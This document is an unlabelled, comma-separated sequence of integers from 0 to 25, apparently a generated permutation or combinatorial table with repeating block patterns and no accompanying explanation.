3,14,15,8,9,10,11,4,5,6,7,0,1,2,3,21,20,23,22,17,16,19,18,3,0,9,10,25,24,15,20,4,5,6,7,0,1,2,3,12,13,14,15,8,9,10,11,7,6,5,4,3,2,1,0,15,14,13,12,11,10,9,8,22,23,20,21,18,19,16,17,2,1,8,11,20,7,24,25,24,25,18,1,22,13,20,7,16,17,18,19,20,21,22,23,9,8,11,10,13,12,15,14,1,0,3,2,5,4,7,6,10,11,8,9,14,15,12,13,2,3,0,1,6,7,4,5,9,18,25,24,15,20,5,22,19,18,17,16,23,22,21,20,3,2,1,0,7,6,5,4,11,10,9,8,15,14,13,12,18,19,16,17,22,23,20,21,10,17,24,25,12,15,6,5,17,16,19,18,21,20,23,22,25,24,17,2,13,14,7,4,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,14,15,12,13,10,11,8,9,6,7,4,5,2,3,0,1,17,2,19,8,23,4,25,24,23,22,21,20,19,18,17,16,0,19,10,17,24,25,12,15,20,21,22,23,16,17,18,19,13,12,15,14,9,8,11,10,5,4,7,6,1,0,3,2,11,10,9,8,15,14,13,12,3,2,1,0,7,6,5,4,20,7,24,25,18,1,16,11,18,19,16,17,22,23,20,21,25,24,15,20,3,16,9,18,17,16,19,18,21,20,23,22,8,9,10,11,12,13,14,15,0,1,2,3,4,5,6,7,6,7,4,5,2,3,0,1,14,15,12,13,10,11,8,9,23,22,21,20,19,18,17,16,15,20,5,22,9,10,25,24,20,21,22,23,16,17,18,19,22,13,20,7,24,25,2,1,5,4,7,6,1,0,3,2,13,12,15,14,9,8,11,10,13,14,7,4,25,24,17,2,21,20,23,22,17,16,19,18,12,13,14,15,8,9,10,11,4,5,6,7,0,1,2,3,15,14,13,12,11,10,9,8,7,6,5,4,3,2,1,0,12,23,6,21,10,17,24,25,22,23,20,21,18,19,16,17,16,17,18,19,20,21,22,23,24,25,12,15,0,19,10,17,1,0,3,2,5,4,7,6,9,8,11,10,13,12,15,14,2,3,0,1,6,7,4,5,10,11,8,9,14,15,12,13,19,18,17,16,23,22,21,20,7,4,25,24,17,2,19,8,10,11,8,9,14,15,12,13,2,3,0,1,6,7,4,5,5,6,25,24,19,0,17,10,19,18,17,16,23,22,21,20,24,25,14,13,2,17,8,19,16,17,18,19,20,21,22,23,9,8,11,10,13,12,15,14,1,0,3,2,5,4,7,6,7,6,5,4,3,2,1,0,15,14,13,12,11,10,9,8,22,23,20,21,18,19,16,17,14,21,4,23,8,19,24,25,21,20,23,22,17,16,19,18,23,12,21,6,25,24,19,0,4,5,6,7,0,1,2,3,12,13,14,15,8,9,10,11,20,15,22,5,24,25,0,3,20,21,22,23,16,17,18,19,13,12,15,14,9,8,11,10,5,4,7,6,1,0,3,2,14,15,12,13,10,11,8,9,6,7,4,5,2,3,0,1,13,22,7,20,11,8,25,24,23,22,21,20,19,18,17,16,17,16,19,18,21,20,23,22,25,24,13,22,1,2,11,8,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,3,2,1,0,7,6,5,4,11,10,9,8,15,14,13,12,18,19,16,17,22,23,20,21,22,5,24,25,16,3,18,9,9,8,11,10,13,12,15,14,1,0,3,2,5,4,7,6,24,25,18,9,6,5,12,15,16,17,18,19,20,21,22,23,1,18,25,24,7,4,13,14,19,18,17,16,23,22,21,20,10,11,8,9,14,15,12,13,2,3,0,1,6,7,4,5,4,5,6,7,0,1,2,3,12,13,14,15,8,9,10,11,21,20,23,22,17,16,19,18,11,16,1,18,25,24,7,4,22,23,20,21,18,19,16,17,18,9,16,3,20,15,24,25,7,6,5,4,3,2,1,0,15,14,13,12,11,10,9,8,9,10,3,0,23,12,25,24,23,22,21,20,19,18,17,16,14,15,12,13,10,11,8,9,6,7,4,5,2,3,0,1,13,12,15,14,9,8,11,10,5,4,7,6,1,0,3,2,8,11,2,1,24,25,4,23,20,21,22,23,16,17,18,19,18,19,16,17,22,23,20,21,2,17,24,25,4,23,14,21,3,2,1,0,7,6,5,4,11,10,9,8,15,14,13,12,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,17,16,19,18,21,20,23,22,25,24,17,10,21,6,23,12,8,9,10,11,12,13,14,15,0,1,2,3,4,5,6,7,25,24,11,8,23,4,21,14,17,16,19,18,21,20,23,22,0,19,24,25,6,21,12,23,18,19,16,17,22,23,20,21,11,10,9,8,15,14,13,12,3,2,1,0,7,6,5,4,5,4,7,6,1,0,3,2,13,12,15,14,9,8,11,10,20,21,22,23,16,17,18,19,10,9,0,3,24,25,6,21,23,22,21,20,19,18,17,16,11,8,1,2,21,14,25,24,6,7,4,5,2,3,0,1,14,15,12,13,10,11,8,9,16,11,18,1,22,13,24,25,22,23,20,21,18,19,16,17,15,14,13,12,11,10,9,8,7,6,5,4,3,2,1,0,12,13,14,15,8,9,10,11,4,5,6,7,0,1,2,3,9,18,3,16,25,24,5,22,21,20,23,22,17,16,19,18,19,18,17,16,23,22,21,20,3,16,25,24,5,6,15,12,2,3,0,1,6,7,4,5,10,11,8,9,14,15,12,13,1,0,3,2,5,4,7,6,9,8,11,10,13,12,15,14,16,17,18,19,20,21,22,23,24,25,16,11,4,7,14,13,13,12,15,14,9,8,11,10,5,4,7,6,1,0,3,2,8,19,2,17,24,25,4,7,20,21,22,23,16,17,18,19,17,10,19,0,23,12,25,24,23,22,21,20,19,18,17,16,14,15,12,13,10,11,8,9,6,7,4,5,2,3,0,1,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,17,16,19,18,21,20,23,22,25,24,17,10,5,6,15,12,18,19,16,17,22,23,20,21,2,17,24,25,4,7,14,13,3,2,1,0,7,6,5,4,11,10,9,8,15,14,13,12,1,18,25,24,7,20,13,22,19,18,17,16,23,22,21,20,10,11,8,9,14,15,12,13,2,3,0,1,6,7,4,5,9,8,11,10,13,12,15,14,1,0,3,2,5,4,7,6,24,25,18,9,22,5,20,15,16,17,18,19,20,21,22,23,22,23,20,21,18,19,16,17,10,9,0,3,20,15,24,25,7,6,5,4,3,2,1,0,15,14,13,12,11,10,9,8,4,5,6,7,0,1,2,3,12,13,14,15,8,9,10,11,21,20,23,22,17,16,19,18,11,8,1,2,25,24,7,20,12,13,14,15,8,9,10,11,4,5,6,7,0,1,2,3,9,10,3,0,25,24,5,22,21,20,23,22,17,16,19,18,8,11,2,1,22,13,24,25,22,23,20,21,18,19,16,17,15,14,13,12,11,10,9,8,7,6,5,4,3,2,1,0,1,0,3,2,5,4,7,6,9,8,11,10,13,12,15,14,16,17,18,19,20,21,22,23,24,25,8,11,20,7,22,13,19,18,17,16,23,22,21,20,3,16,25,24,5,22,15,20,2,3,0,1,6,7,4,5,10,11,8,9,14,15,12,13,0,19,24,25,6,5,12,15,18,19,16,17,22,23,20,21,11,10,9,8,15,14,13,12,3,2,1,0,7,6,5,4,8,9,10,11,12,13,14,15,0,1,2,3,4,5,6,7,25,24,19,8,7,4,13,14,17,16,19,18,21,20,23,22,23,22,21,20,19,18,17,16,19,8,17,2,21,14,25,24,6,7,4,5,2,3,0,1,14,15,12,13,10,11,8,9,5,4,7,6,1,0,3,2,13,12,15,14,9,8,11,10,20,21,22,23,16,17,18,19,10,17,0,19,24,25,6,21,15,14,13,12,11,10,9,8,7,6,5,4,3,2,1,0,12,23,6,21,10,9,24,25,22,23,20,21,18,19,16,17,21,14,23,4,25,24,1,2,21,20,23,22,17,16,19,18,12,13,14,15,8,9,10,11,4,5,6,7,0,1,2,3,2,3,0,1,6,7,4,5,10,11,8,9,14,15,12,13,19,18,17,16,23,22,21,20,23,4,25,24,17,2,19,8,16,17,18,19,20,21,22,23,24,25,12,23,0,19,10,17,1,0,3,2,5,4,7,6,9,8,11,10,13,12,15,14,25,24,15,12,3,16,9,18,17,16,19,18,21,20,23,22,8,9,10,11,12,13,14,15,0,1,2,3,4,5,6,7,11,10,9,8,15,14,13,12,3,2,1,0,7,6,5,4,4,7,24,25,18,1,16,11,18,19,16,17,22,23,20,21,20,21,22,23,16,17,18,19,14,13,4,7,24,25,18,1,5,4,7,6,1,0,3,2,13,12,15,14,9,8,11,10,6,7,4,5,2,3,0,1,14,15,12,13,10,11,8,9,23,22,21,20,19,18,17,16,15,20,5,22,9,18,25,24,14,15,12,13,10,11,8,9,6,7,4,5,2,3,0,1,13,22,7,20,11,16,25,24,23,22,21,20,19,18,17,16,20,15,22,5,24,25,16,3,20,21,22,23,16,17,18,19,13,12,15,14,9,8,11,10,5,4,7,6,1,0,3,2,3,2,1,0,7,6,5,4,11,10,9,8,15,14,13,12,18,19,16,17,22,23,20,21,6,5,24,25,16,3,18,9,17,16,19,18,21,20,23,22,25,24,13,14,1,18,11,16,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,24,25,14,21,2,1,8,11,16,17,18,19,20,21,22,23,9,8,11,10,13,12,15,14,1,0,3,2,5,4,7,6,10,11,8,9,14,15,12,13,2,3,0,1,6,7,4,5,21,6,25,24,19,0,17,10,19,18,17,16,23,22,21,20,21,20,23,22,17,16,19,18,23,12,21,6,25,24,3,0,4,5,6,7,0,1,2,3,12,13,14,15,8,9,10,11,7,6,5,4,3,2,1,0,15,14,13,12,11,10,9,8,22,23,20,21,18,19,16,17,14,21,4,23,8,11,24,25,16,17,18,19,20,21,22,23,24,25,16,3,12,15,6,5,1,0,3,2,5,4,7,6,9,8,11,10,13,12,15,14,2,3,0,1,6,7,4,5,10,11,8,9,14,15,12,13,19,18,17,16,23,22,21,20,11,16,25,24,13,14,7,4,1,18,11,16,25,24,13,22,21,20,23,22,17,16,19,18,12,13,14,15,8,9,10,11,4,5,6,7,0,1,2,3,15,14,13,12,11,10,9,8,7,6,5,4,3,2,1,0,16,3,18,9,22,5,24,25,22,23,20,21,18,19,16,17,6,7,4,5,2,3,0,1,14,15,12,13,10,11,8,9,23,22,21,20,19,18,17,16,3,0,9,10,21,6,25,24,20,21,22,23,16,17,18,19,2,1,8,11,24,25,14,21,5,4,7,6,1,0,3,2,13,12,15,14,9,8,11,10,11,10,9,8,15,14,13,12,3,2,1,0,7,6,5,4,8,19,24,25,14,21,4,23,18,19,16,17,22,23,20,21,25,24,3,0,23,12,21,6,17,16,19,18,21,20,23,22,8,9,10,11,12,13,14,15,0,1,2,3,4,5,6,7,17,16,19,18,21,20,23,22,25,24,17,2,21,14,23,4,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,3,2,1,0,7,6,5,4,11,10,9,8,15,14,13,12,18,19,16,17,22,23,20,21,10,17,24,25,12,23,6,21,0,3,10,9,24,25,12,23,20,21,22,23,16,17,18,19,13,12,15,14,9,8,11,10,5,4,7,6,1,0,3,2,14,15,12,13,10,11,8,9,6,7,4,5,2,3,0,1,1,2,11,8,23,4,25,24,23,22,21,20,19,18,17,16,7,6,5,4,3,2,1,0,15,14,13,12,11,10,9,8,22,23,20,21,18,19,16,17,18,1,16,11,20,7,24,25,21,20,23,22,17,16,19,18,3,16,9,18,25,24,15,12,4,5,6,7,0,1,2,3,12,13,14,15,8,9,10,11,10,11,8,9,14,15,12,13,2,3,0,1,6,7,4,5,9,18,25,24,15,12,5,6,19,18,17,16,23,22,21,20,24,25,18,1,14,13,4,7,16,17,18,19,20,21,22,23,9,8,11,10,13,12,15,14,1,0,3,2,5,4,7,6,18,19,16,17,22,23,20,21,22,13,24,25,16,11,18,1,3,2,1,0,7,6,5,4,11,10,9,8,15,14,13,12,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,17,16,19,18,21,20,23,22,25,24,5,22,9,10,3,0,5,22,15,20,3,0,25,24,23,22,21,20,19,18,17,16,14,15,12,13,10,11,8,9,6,7,4,5,2,3,0,1,13,12,15,14,9,8,11,10,5,4,7,6,1,0,3,2,20,7,22,13,24,25,8,11,20,21,22,23,16,17,18,19,4,5,6,7,0,1,2,3,12,13,14,15,8,9,10,11,21,20,23,22,17,16,19,18,23,4,21,14,25,24,19,8,22,23,20,21,18,19,16,17,6,21,12,23,0,19,24,25,7,6,5,4,3,2,1,0,15,14,13,12,11,10,9,8,9,8,11,10,13,12,15,14,1,0,3,2,5,4,7,6,24,25,6,5,10,17,0,19,16,17,18,19,20,21,22,23,13,14,25,24,19,8,17,2,19,18,17,16,23,22,21,20,10,11,8,9,14,15,12,13,2,3,0,1,6,7,4,5,19,18,17,16,23,22,21,20,15,12,25,24,17,10,19,0,2,3,0,1,6,7,4,5,10,11,8,9,14,15,12,13,1,0,3,2,5,4,7,6,9,8,11,10,13,12,15,14,16,17,18,19,20,21,22,23,24,25,4,7,8,19,2,17,4,23,14,21,2,17,24,25,22,23,20,21,18,19,16,17,15,14,13,12,11,10,9,8,7,6,5,4,3,2,1,0,12,13,14,15,8,9,10,11,4,5,6,7,0,1,2,3,5,6,15,12,25,24,17,10,21,20,23,22,17,16,19,18,5,4,7,6,1,0,3,2,13,12,15,14,9,8,11,10,20,21,22,23,16,17,18,19,22,5,20,15,24,25,10,9,23,22,21,20,19,18,17,16,7,20,13,22,1,2,25,24,6,7,4,5,2,3,0,1,14,15,12,13,10,11,8,9,8,9,10,11,12,13,14,15,0,1,2,3,4,5,6,7,25,24,7,20,11,16,1,18,17,16,19,18,21,20,23,22,20,15,24,25,18,9,16,3,18,19,16,17,22,23,20,21,11,10,9,8,15,14,13,12,3,2,1,0,7,6,5,4,25,24,5,6,17,10,19,0,17,16,19,18,21,20,23,22,8,9,10,11,12,13,14,15,0,1,2,3,4,5,6,7,11,10,9,8,15,14,13,12,3,2,1,0,7,6,5,4,14,13,24,25,8,19,2,17,18,19,16,17,22,23,20,21,20,21,22,23,16,17,18,19,4,23,14,21,24,25,8,19,5,4,7,6,1,0,3,2,13,12,15,14,9,8,11,10,6,7,4,5,2,3,0,1,14,15,12,13,10,11,8,9,23,22,21,20,19,18,17,16,5,6,15,12,19,0,25,24,15,14,13,12,11,10,9,8,7,6,5,4,3,2,1,0,22,5,20,15,0,3,24,25,22,23,20,21,18,19,16,17,7,20,13,22,25,24,11,8,21,20,23,22,17,16,19,18,12,13,14,15,8,9,10,11,4,5,6,7,0,1,2,3,2,3,0,1,6,7,4,5,10,11,8,9,14,15,12,13,19,18,17,16,23,22,21,20,13,22,25,24,11,16,1,18,16,17,18,19,20,21,22,23,24,25,22,5,18,9,16,3,1,0,3,2,5,4,7,6,9,8,11,10,13,12,15,14,24,25,20,7,16,11,18,1,16,17,18,19,20,21,22,23,9,8,11,10,13,12,15,14,1,0,3,2,5,4,7,6,10,11,8,9,14,15,12,13,2,3,0,1,6,7,4,5,15,20,25,24,9,10,3,0,19,18,17,16,23,22,21,20,21,20,23,22,17,16,19,18,5,22,15,20,25,24,9,10,4,5,6,7,0,1,2,3,12,13,14,15,8,9,10,11,7,6,5,4,3,2,1,0,15,14,13,12,11,10,9,8,22,23,20,21,18,19,16,17,20,7,22,13,2,1,24,25,14,15,12,13,10,11,8,9,6,7,4,5,2,3,0,1,23,4,21,14,17,2,25,24,23,22,21,20,19,18,17,16,6,21,12,23,24,25,10,17,20,21,22,23,16,17,18,19,13,12,15,14,9,8,11,10,5,4,7,6,1,0,3,2,3,2,1,0,7,6,5,4,11,10,9,8,15,14,13,12,18,19,16,17,22,23,20,21,12,15,24,25,10,17,0,19,17,16,19,18,21,20,23,22,25,24,7,4,19,8,17,2,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,19,8,25,24,21,14,23,4,19,18,17,16,23,22,21,20,10,11,8,9,14,15,12,13,2,3,0,1,6,7,4,5,9,8,11,10,13,12,15,14,1,0,3,2,5,4,7,6,24,25,0,19,12,23,6,21,16,17,18,19,20,21,22,23,22,23,20,21,18,19,16,17,0,3,10,9,6,21,24,25,7,6,5,4,3,2,1,0,15,14,13,12,11,10,9,8,4,5,6,7,0,1,2,3,12,13,14,15,8,9,10,11,21,20,23,22,17,16,19,18,1,2,11,8,25,24,21,14,13,12,15,14,9,8,11,10,5,4,7,6,1,0,3,2,18,1,16,11,24,25,22,13,20,21,22,23,16,17,18,19,3,16,9,18,5,6,25,24,23,22,21,20,19,18,17,16,14,15,12,13,10,11,8,9,6,7,4,5,2,3,0,1,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,17,16,19,18,21,20,23,22,25,24,3,16,15,12,5,6,18,19,16,17,22,23,20,21,16,11,24,25,14,13,4,7,3,2,1,0,7,6,5,4,11,10,9,8,15,14,13,12,18,9,24,25,12,15,6,5,18,19,16,17,22,23,20,21,11,10,9,8,15,14,13,12,3,2,1,0,7,6,5,4,8,9,10,11,12,13,14,15,0,1,2,3,4,5,6,7,25,24,1,18,13,14,7,4,17,16,19,18,21,20,23,22,23,22,21,20,19,18,17,16,1,18,11,16,7,20,25,24,6,7,4,5,2,3,0,1,14,15,12,13,10,11,8,9,5,4,7,6,1,0,3,2,13,12,15,14,9,8,11,10,20,21,22,23,16,17,18,19,16,3,18,9,24,25,20,15,12,13,14,15,8,9,10,11,4,5,6,7,0,1,2,3,3,0,9,10,25,24,23,12,21,20,23,22,17,16,19,18,2,1,8,11,4,23,24,25,22,23,20,21,18,19,16,17,15,14,13,12,11,10,9,8,7,6,5,4,3,2,1,0,1,0,3,2,5,4,7,6,9,8,11,10,13,12,15,14,16,17,18,19,20,21,22,23,24,25,2,17,14,21,4,23,19,18,17,16,23,22,21,20,9,10,25,24,23,12,21,6,2,3,0,1,6,7,4,5,10,11,8,9,14,15,12,13,4,5,6,7,0,1,2,3,12,13,14,15,8,9,10,11,21,20,23,22,17,16,19,18,13,22,7,20,25,24,1,18,22,23,20,21,18,19,16,17,20,15,22,5,18,9,24,25,7,6,5,4,3,2,1,0,15,14,13,12,11,10,9,8,9,8,11,10,13,12,15,14,1,0,3,2,5,4,7,6,24,25,12,15,16,3,18,9,16,17,18,19,20,21,22,23,7,4,25,24,1,18,11,16,19,18,17,16,23,22,21,20,10,11,8,9,14,15,12,13,2,3,0,1,6,7,4,5,18,19,16,17,22,23,20,21,4,23,24,25,2,1,8,11,3,2,1,0,7,6,5,4,11,10,9,8,15,14,13,12,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,17,16,19,18,21,20,23,22,25,24,23,12,19,0,17,10,23,12,21,6,9,10,25,24,23,22,21,20,19,18,17,16,14,15,12,13,10,11,8,9,6,7,4,5,2,3,0,1,13,12,15,14,9,8,11,10,5,4,7,6,1,0,3,2,14,21,4,23,24,25,2,1,20,21,22,23,16,17,18,19,5,4,7,6,1,0,3,2,13,12,15,14,9,8,11,10,20,21,22,23,16,17,18,19,12,23,6,21,24,25,0,3,23,22,21,20,19,18,17,16,21,14,23,4,11,8,25,24,6,7,4,5,2,3,0,1,14,15,12,13,10,11,8,9,8,9,10,11,12,13,14,15,0,1,2,3,4,5,6,7,25,24,21,14,17,2,19,8,17,16,19,18,21,20,23,22,6,21,24,25,0,19,10,17,18,19,16,17,22,23,20,21,11,10,9,8,15,14,13,12,3,2,1,0,7,6,5,4,19,18,17,16,23,22,21,20,5,6,25,24,3,16,9,18,2,3,0,1,6,7,4,5,10,11,8,9,14,15,12,13,1,0,3,2,5,4,7,6,9,8,11,10,13,12,15,14,16,17,18,19,20,21,22,23,24,25,14,13,18,1,16,11,14,13,4,7,16,11,24,25,22,23,20,21,18,19,16,17,15,14,13,12,11,10,9,8,7,6,5,4,3,2,1,0,12,13,14,15,8,9,10,11,4,5,6,7,0,1,2,3,15,20,5,22,25,24,3,16,21,20,23,22,17,16,19,18,6,7,4,5,2,3,0,1,14,15,12,13,10,11,8,9,23,22,21,20,19,18,17,16,9,10,3,0,15,20,25,24,20,21,22,23,16,17,18,19,8,11,2,1,24,25,20,7,5,4,7,6,1,0,3,2,13,12,15,14,9,8,11,10,11,10,9,8,15,14,13,12,3,2,1,0,7,6,5,4,2,1,24,25,20,7,22,13,18,19,16,17,22,23,20,21,25,24,9,18,5,22,15,20,17,16,19,18,21,20,23,22,8,9,10,11,12,13,14,15,0,1,2,3,4,5,6,7,16,17,18,19,20,21,22,23,24,25,10,17,6,5,12,15,1,0,3,2,5,4,7,6,9,8,11,10,13,12,15,14,2,3,0,1,6,7,4,5,10,11,8,9,14,15,12,13,19,18,17,16,23,22,21,20,17,2,25,24,7,4,13,14,19,8,17,2,25,24,23,4,21,20,23,22,17,16,19,18,12,13,14,15,8,9,10,11,4,5,6,7,0,1,2,3,15,14,13,12,11,10,9,8,7,6,5,4,3,2,1,0,10,17,0,19,12,23,24,25,22,23,20,21,18,19,16,17,7,6,5,4,3,2,1,0,15,14,13,12,11,10,9,8,22,23,20,21,18,19,16,17,8,19,2,17,14,13,24,25,21,20,23,22,17,16,19,18,17,10,19,0,25,24,21,6,4,5,6,7,0,1,2,3,12,13,14,15,8,9,10,11,10,11,8,9,14,15,12,13,2,3,0,1,6,7,4,5,19,0,25,24,5,6,15,12,19,18,17,16,23,22,21,20,24,25,8,19,4,7,14,13,16,17,18,19,20,21,22,23,9,8,11,10,13,12,15,14,1,0,3,2,5,4,7,6,17,16,19,18,21,20,23,22,25,24,11,16,7,20,13,22,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,3,2,1,0,7,6,5,4,11,10,9,8,15,14,13,12,18,19,16,17,22,23,20,21,16,3,24,25,22,5,20,15,10,9,0,3,24,25,22,5,20,21,22,23,16,17,18,19,13,12,15,14,9,8,11,10,5,4,7,6,1,0,3,2,14,15,12,13,10,11,8,9,6,7,4,5,2,3,0,1,11,8,1,2,13,22,25,24,23,22,21,20,19,18,17,16,2,3,0,1,6,7,4,5,10,11,8,9,14,15,12,13,19,18,17,16,23,22,21,20,1,2,25,24,23,4,21,14,16,17,18,19,20,21,22,23,24,25,10,17,6,21,12,23,1,0,3,2,5,4,7,6,9,8,11,10,13,12,15,14,15,14,13,12,11,10,9,8,7,6,5,4,3,2,1,0,10,9,0,3,12,23,24,25,22,23,20,21,18,19,16,17,11,8,1,2,25,24,23,4,21,20,23,22,17,16,19,18,12,13,14,15,8,9,10,11,4,5,6,7,0,1,2,3,20,21,22,23,16,17,18,19,16,11,18,1,24,25,20,7,5,4,7,6,1,0,3,2,13,12,15,14,9,8,11,10,6,7,4,5,2,3,0,1,14,15,12,13,10,11,8,9,23,22,21,20,19,18,17,16,9,18,3,16,15,20,25,24,25,24,9,18,5,6,15,12,17,16,19,18,21,20,23,22,8,9,10,11,12,13,14,15,0,1,2,3,4,5,6,7,11,10,9,8,15,14,13,12,3,2,1,0,7,6,5,4,18,1,24,25,4,7,14,13,18,19,16,17,22,23,20,21,3,2,1,0,7,6,5,4,11,10,9,8,15,14,13,12,18,19,16,17,22,23,20,21,16,3,24,25,6,5,12,15,17,16,19,18,21,20,23,22,25,24,11,16,7,4,13,14,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,14,15,12,13,10,11,8,9,6,7,4,5,2,3,0,1,11,16,1,18,13,14,25,24,23,22,21,20,19,18,17,16,18,9,16,3,24,25,22,5,20,21,22,23,16,17,18,19,13,12,15,14,9,8,11,10,5,4,7,6,1,0,3,2,21,20,23,22,17,16,19,18,9,10,3,0,25,24,21,6,4,5,6,7,0,1,2,3,12,13,14,15,8,9,10,11,7,6,5,4,3,2,1,0,15,14,13,12,11,10,9,8,22,23,20,21,18,19,16,17,8,11,2,1,14,21,24,25,24,25,8,19,4,23,14,21,16,17,18,19,20,21,22,23,9,8,11,10,13,12,15,14,1,0,3,2,5,4,7,6,10,11,8,9,14,15,12,13,2,3,0,1,6,7,4,5,19,0,25,24,21,6,23,12,19,18,17,16,23,22,21,20,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,17,16,19,18,21,20,23,22,25,24,15,12,19,0,17,10,18,19,16,17,22,23,20,21,4,7,24,25,2,17,8,19,3,2,1,0,7,6,5,4,11,10,9,8,15,14,13,12,13,12,15,14,9,8,11,10,5,4,7,6,1,0,3,2,14,21,4,23,24,25,2,17,20,21,22,23,16,17,18,19,23,12,21,6,17,10,25,24,23,22,21,20,19,18,17,16,14,15,12,13,10,11,8,9,6,7,4,5,2,3,0,1,22,23,20,21,18,19,16,17,20,15,22,5,10,9,24,25,7,6,5,4,3,2,1,0,15,14,13,12,11,10,9,8,4,5,6,7,0,1,2,3,12,13,14,15,8,9,10,11,21,20,23,22,17,16,19,18,13,22,7,20,25,24,1,2,7,20,25,24,1,2,11,8,19,18,17,16,23,22,21,20,10,11,8,9,14,15,12,13,2,3,0,1,6,7,4,5,9,8,11,10,13,12,15,14,1,0,3,2,5,4,7,6,24,25,20,15,16,3,18,9,16,17,18,19,20,21,22,23,1,0,3,2,5,4,7,6,9,8,11,10,13,12,15,14,16,17,18,19,20,21,22,23,24,25,22,13,18,1,16,11,19,18,17,16,23,22,21,20,5,22,25,24,3,16,9,18,2,3,0,1,6,7,4,5,10,11,8,9,14,15,12,13,12,13,14,15,8,9,10,11,4,5,6,7,0,1,2,3,15,20,5,22,25,24,3,0,21,20,23,22,17,16,19,18,22,13,20,7,8,11,24,25,22,23,20,21,18,19,16,17,15,14,13,12,11,10,9,8,7,6,5,4,3,2,1,0,23,22,21,20,19,18,17,16,13,14,7,4,19,8,25,24,6,7,4,5,2,3,0,1,14,15,12,13,10,11,8,9,5,4,7,6,1,0,3,2,13,12,15,14,9,8,11,10,20,21,22,23,16,17,18,19,12,23,6,21,24,25,0,19,6,5,24,25,0,19,10,17,18,19,16,17,22,23,20,21,11,10,9,8,15,14,13,12,3,2,1,0,7,6,5,4,8,9,10,11,12,13,14,15,0,1,2,3,4,5,6,7,25,24,13,14,17,2,19,8,17,16,19,18,21,20,23,22,3,0,9,10,5,22,25,24,23,22,21,20,19,18,17,16,14,15,12,13,10,11,8,9,6,7,4,5,2,3,0,1,13,12,15,14,9,8,11,10,5,4,7,6,1,0,3,2,2,1,8,11,24,25,22,13,20,21,22,23,16,17,18,19,18,19,16,17,22,23,20,21,16,11,24,25,22,13,20,7,3,2,1,0,7,6,5,4,11,10,9,8,15,14,13,12,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,17,16,19,18,21,20,23,22,25,24,3,16,15,20,5,22,9,8,11,10,13,12,15,14,1,0,3,2,5,4,7,6,24,25,0,19,12,15,6,5,16,17,18,19,20,21,22,23,19,8,25,24,13,14,7,4,19,18,17,16,23,22,21,20,10,11,8,9,14,15,12,13,2,3,0,1,6,7,4,5,4,5,6,7,0,1,2,3,12,13,14,15,8,9,10,11,21,20,23,22,17,16,19,18,17,2,19,8,25,24,21,14,22,23,20,21,18,19,16,17,0,19,10,17,6,5,24,25,7,6,5,4,3,2,1,0,15,14,13,12,11,10,9,8,2,17,8,19,4,23,24,25,22,23,20,21,18,19,16,17,15,14,13,12,11,10,9,8,7,6,5,4,3,2,1,0,12,13,14,15,8,9,10,11,4,5,6,7,0,1,2,3,19,0,17,10,25,24,23,12,21,20,23,22,17,16,19,18,19,18,17,16,23,22,21,20,17,10,25,24,15,12,5,6,2,3,0,1,6,7,4,5,10,11,8,9,14,15,12,13,1,0,3,2,5,4,7,6,9,8,11,10,13,12,15,14,16,17,18,19,20,21,22,23,24,25,2,17,14,13,4,7,8,9,10,11,12,13,14,15,0,1,2,3,4,5,6,7,25,24,1,18,13,22,7,20,17,16,19,18,21,20,23,22,10,9,24,25,20,15,22,5,18,19,16,17,22,23,20,21,11,10,9,8,15,14,13,12,3,2,1,0,7,6,5,4,5,4,7,6,1,0,3,2,13,12,15,14,9,8,11,10,20,21,22,23,16,17,18,19,0,3,10,9,24,25,20,15,23,22,21,20,19,18,17,16,1,2,11,8,7,20,25,24,6,7,4,5,2,3,0,1,14,15,12,13,10,11,8,9,7,20,13,22,25,24,11,16,21,20,23,22,17,16,19,18,12,13,14,15,8,9,10,11,4,5,6,7,0,1,2,3,15,14,13,12,11,10,9,8,7,6,5,4,3,2,1,0,6,5,12,15,16,3,24,25,22,23,20,21,18,19,16,17,16,17,18,19,20,21,22,23,24,25,6,5,18,9,16,3,1,0,3,2,5,4,7,6,9,8,11,10,13,12,15,14,2,3,0,1,6,7,4,5,10,11,8,9,14,15,12,13,19,18,17,16,23,22,21,20,13,14,25,24,11,16,1,18,11,10,9,8,15,14,13,12,3,2,1,0,7,6,5,4,14,21,24,25,8,19,2,17,18,19,16,17,22,23,20,21,25,24,21,6,17,10,19,0,17,16,19,18,21,20,23,22,8,9,10,11,12,13,14,15,0,1,2,3,4,5,6,7,6,7,4,5,2,3,0,1,14,15,12,13,10,11,8,9,23,22,21,20,19,18,17,16,21,6,23,12,3,0,25,24,20,21,22,23,16,17,18,19,4,23,14,21,24,25,8,11,5,4,7,6,1,0,3,2,13,12,15,14,9,8,11,10,6,21,12,23,24,25,10,9,20,21,22,23,16,17,18,19,13,12,15,14,9,8,11,10,5,4,7,6,1,0,3,2,14,15,12,13,10,11,8,9,6,7,4,5,2,3,0,1,23,4,21,14,1,2,25,24,23,22,21,20,19,18,17,16,17,16,19,18,21,20,23,22,25,24,23,4,19,8,17,2,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,3,2,1,0,7,6,5,4,11,10,9,8,15,14,13,12,18,19,16,17,22,23,20,21,12,23,24,25,10,9,0,3,10,11,8,9,14,15,12,13,2,3,0,1,6,7,4,5,15,12,25,24,9,18,3,16,19,18,17,16,23,22,21,20,24,25,4,7,16,11,18,1,16,17,18,19,20,21,22,23,9,8,11,10,13,12,15,14,1,0,3,2,5,4,7,6,7,6,5,4,3,2,1,0,15,14,13,12,11,10,9,8,22,23,20,21,18,19,16,17,20,7,22,13,18,1,24,25,21,20,23,22,17,16,19,18,5,22,15,20,25,24,9,18,4,5,6,7,0,1,2,3,12,13,14,15,8,9,10,11,8,9,10,11,12,13,14,15,0,1,2,3,4,5,6,7,25,24,1,18,13,14,7,4,17,16,19,18,21,20,23,22,18,9,24,25,12,15,6,5,18,19,16,17,22,23,20,21,11,10,9,8,15,14,13,12,3,2,1,0,7,